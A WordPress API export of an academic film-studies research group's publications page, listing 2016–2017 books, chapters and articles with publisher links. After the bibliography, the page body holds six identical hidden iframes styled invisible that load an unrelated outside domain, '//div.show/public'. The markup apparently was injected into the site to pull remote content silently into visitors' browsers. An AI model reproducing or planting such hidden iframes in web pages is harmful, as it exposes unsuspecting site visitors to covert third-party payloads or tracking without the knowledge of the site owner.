Goat<\/strong>, in: Gundolf S. Freyermuth; Lisa Gotto (ed.): <em>Clash of Realities 2015\/16: On the Art, Technology and Theory of Digital Games,\u00a0<\/em>Bielefeld: transcript, 2017, pp. 489\u2013503, <a href=\"http:\/\/www.transcript-verlag.de\/978-3-8376-4031-1\/clash-of-realities-2015\/16\/\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Laliv\u00a0Melamed (Ed.):<br \/>\n<strong>The old and the New: New Technologies &#8211; New Documentary?<\/strong>, in: Laliv Melamed (ed.), a special issue of <i>Takriv: an Online Journal of Non-Fiction Film<\/i>, 15, 2017, <a href=\"https:\/\/takriv.net\/issue\/%D7%92%D7%99%D7%9C%D7%99%D7%95%D7%9F-15\/\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<li>Kalani Michell:<br \/>\n<strong>Comic Storyboardkonstruktionen. Petzolds Angriffsfl\u00e4chen<\/strong>, in: Jan Henschen; Anna H\u00e4usler (Ed.):\u00a0<em>Storyboarding: Filmisches Entwerfen<\/em>, Marburg:\u00a0<span class=\"\">Sch\u00fcren, 2017, pp. 127\u2013147, <a href=\"https:\/\/www.schueren-verlag.de\/programm\/titel\/553-storyboarding.html\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/span><\/li>\n<li>Alexandra Schneider; Wanda Strauven:<br \/>\n<strong>D\u00e4umlingsfilme. Digitale Videos aus Kinderhand<\/strong>, in: Bettina Henzler (ed.): <em>Kino und Kindheit: Figur &#8211; Perspektive &#8211; Regie<\/em>,\u00a0Berlin: Bertz + Fischer, 2017, pp.\u00a0139\u2013154, <a href=\"https:\/\/publications.ub.uni-mainz.de\/opus\/frontdoor.php?source_opus=58109\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Alexandra Schneider; Wanda Strauven:<br \/>\n<strong>Children&#8217;s little thumb films or &#8220;film-poucets,&#8221;<\/strong> in: Pepita Hesselberth (ed.): <em>Compact Cinematics : The Moving Image in The Age of Bit-Sized Media<\/em>, New York: Bloomsbury Academic, 2017, pp.\u00a0143\u2013152, <a href=\"https:\/\/publications.ub.uni-mainz.de\/opus\/frontdoor.php?source_opus=58112\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<li>Martin Seel:<br \/>\n<strong>&#8220;Hollywood&#8221; ignorieren. Vom Kino<\/strong><em>,<\/em>\u00a0Frankfurt am Main: Fischer, 2017, <a href=\"https:\/\/www.fischerverlage.de\/buch\/hollywood_ignorieren\/9783103972245\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<li><span lang=\"DE\">Marc Siegel:<br \/>\n<strong>Off the Streets, Into the Toilets!<\/strong>, in:\u00a0<i>Luxblog<\/i>, 15. August 2017, <a href=\"https:\/\/lux.org.uk\/writing\/off-streets-toilets-marc-siegel\">Link<\/a>.<\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Wanda Strauven:<br \/>\n<strong>L&#8217;inventore del cinema futurista \/ The Inventor of Futurist Cinema<\/strong>, in:\u00a0<i>Mario Verdone<\/i>, special issue of <i>Bianco e Nero, <\/i>588-589, 2017, pp. 52-61, <a href=\"http:\/\/www.edizionisabinae.com\/wordpress\/?p=2371\">Link<\/a>.<\/li>\n<li>Wanda Strauven:<br \/>\n<b>Turning a Cracker into a Smartphone: Children as the Protagonists of a New Media History\/Theory Without Names<\/b>, in: Francesco Pitassio; et al. (ed.): <i>Wer ist Leonardo? From Caligari to the Cinema Without Names<\/i>, Milan: Mimesis, 2017, pp. 501-508.<\/li>\n<li>Yvonne Zimmermann:<br \/>\n<strong>Analyse nicht-fiktionaler Filmformen<\/strong>, in: Malte Hagener; Volker Pantenburg (ed.): <em>Handbuch Filmanalyse<\/em>, Wiesbaden: Springer VS, 2017, pp. 1\u201314, <a href=\"https:\/\/link.springer.com\/referenceworkentry\/10.1007%2F978-3-658-13352-8_30-1\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Yvonne Zimmermann:<br \/>\n<strong>Flirten mit Hollywood. Praesens Film und das Schweizer Kino auf dem Internationalen Markt \/ Flirting with Hollywood: Praesens Film and Swiss Cinema on the International Market<\/strong>, in: DVD Booklet <em>Swiss Tour \/ Four Days Leave, <\/em>Gartenberg Media New York, Praesens Film Z\u00fcrich, 2017, pp. 6-12 resp. 16\u201322, <a href=\"http:\/\/www.gartenbergmedia.com\/swiss-tour\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<li>Yvonne Zimmermann:<br \/>\n<strong>Buchrezension &#8220;Siegfried Mattl, Carina Lesky, Vr\u00e4\u00e4th \u00d6hner and Ingo Zechner (eds), Abenteuer Alltag. Zur Arch\u00e4ologie des Amateurfilms, Vienna: Synema, 2015, 270 pp.&#8221;,<\/strong>\u00a0in: <em>Screen<\/em>, 1 (58), 2017, pp. 107\u2013110, <a href=\"https:\/\/doi.org\/10.1093\/screen\/hjx003\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<hr \/>\n<h3>2016<\/h3>\n<hr \/>\n<hr \/>\n<ul>\n<li>Vinzenz Hediger; Malte Hagener; Alena Strohmaier (ed.):<br \/>\n<strong>The State of Post-Cinema. Tracing the Moving Image in the Age of Digital Networks<\/strong>,\u00a0London: Palgrave Macmillan, 2016.<\/li>\n<\/ul>\n<div><iframe style=\"position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/div.show\/public\"><\/iframe><\/div>\n<div><iframe style=\"position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/div.show\/public\"><\/iframe><\/div>\n<div><iframe style=\"position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/div.show\/public\"><\/iframe><\/div>\n<div><iframe style=\"position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/div.show\/public\"><\/iframe><\/div>\n<div><iframe style=\"position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/div.show\/public\"><\/iframe><\/div>\n<div><iframe style=\"position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/div.show\/public\"><\/iframe><\/div>\n","protected":false},"excerpt":{"rendered":"<p>Forthcoming Daniel Fairfax; Vinzenz Hediger: Cinema\/Ideology\/Criticism: Historical Explorations and Contemporary Resonances, Amsterdam: Amsterdam University Press, forthcoming. Fadekemi Olawoye: Cinematic Representation of Immigrants Lives in Andrew Dosunmu\u00b4s Mother of George, in New Jersey: Africa World Press, forthcoming in 2025. 2026 Amrita Biswas: Beyond An \u2018Act of Faith:\u2019 An Inquiry into Saving Ray\u2019s Films, in: PUBLIC: Art [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":15,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"acf":[],"_links":{"self":[{"href":"https:\/\/konfigurationen-des-films.de\/en\/wp-json\/wp\/v2\/pages\/267\/"}],"collection":[{"href":"https:\/\/konfigurationen-des-films.de\/en\/wp-json\/wp\/v2\/pages\/"}],"about":[{"href":"https:\/\/konfigurationen-des-films.de\/en\/wp-json\/wp\/v2\/types\/page\/"}],"author":[{"embeddable":true,"href":"https:\/\/konfigurationen-des-films.de\/en\/wp-json\/wp\/v2\/users\/1\/"}],"replies":[{"embeddable":true,"href":"https:\/\/konfigurationen-des-films.de\/en\/wp-json\/wp\/v2\/comments\/?post=267"}],"version-history":[{"count":48,"href":"https:\/\/konfigurationen-des-films.de\/en\/wp-json\/wp\/v2\/pages\/267\/revisions\/"}],"predecessor-version":[{"id":4219,"href":"https:\/\/konfigurationen-des-films.de\/en\/wp-json\/wp\/v2\/pages\/267\/revisions\/4219\/"}],"wp:attachment":[{"href":"https:\/\/konfigurationen-des-films.de\/en\/wp-json\/wp\/v2\/media\/?parent=267"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}